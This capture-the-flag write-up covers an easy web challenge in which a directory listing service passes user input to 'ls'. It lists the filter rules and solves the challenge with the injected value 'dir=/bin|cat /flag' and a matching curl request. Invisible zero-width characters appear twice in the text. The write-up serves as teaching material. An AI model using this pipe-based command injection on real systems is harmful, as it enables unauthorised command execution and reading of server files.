ls

Platform: spbctf | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2019-10-13 | Status: Solved Techniques: pipe_command_chaining, waf_bypass

Summary

Task: Directory listing service executing ls with user input, flag in /flag. Solution: WAF bypass using pipe (|) for command chaining since semicolon is blocked.

ls - Web Kids 2.0

Description

A directory listing service at https://2019-10-13-cmdinj.ctf.su/task/ls. Flag is in /flag on the server.

Analysis

The service executes ls <user_input> command on the server. There is a WAF with partial filtering:

WAF rules:

• ; (semicolon) - disabled
• | (pipe) - ALLOWED
• && - disabled
• ` (backtick) - disabled
• $() - disabled
• # - disabled

Key vulnerability: pipe (|) is not blocked, which allows executing a command chain.

Solution

Since pipe is allowed, it can be used to execute an arbitrary command after ls. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

POST request to /task/ls with dir parameter:

dir=/bin|cat /flag

The server will execute:

 bash read-only • copy allowed Copy
ls /bin|cat /flag

Technically, ls /bin will output the contents of /bin, which will be passed to stdin of cat /flag. However, cat /flag reads from the file, ignoring stdin, so we get the contents of /flag file as a result.

 bash read-only • copy allowed Copy
# Equivalent curl request
curl -X POST https://2019-10-13-cmdinj.ctf.su/task/ls -d "dir=/bin|cat /flag"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍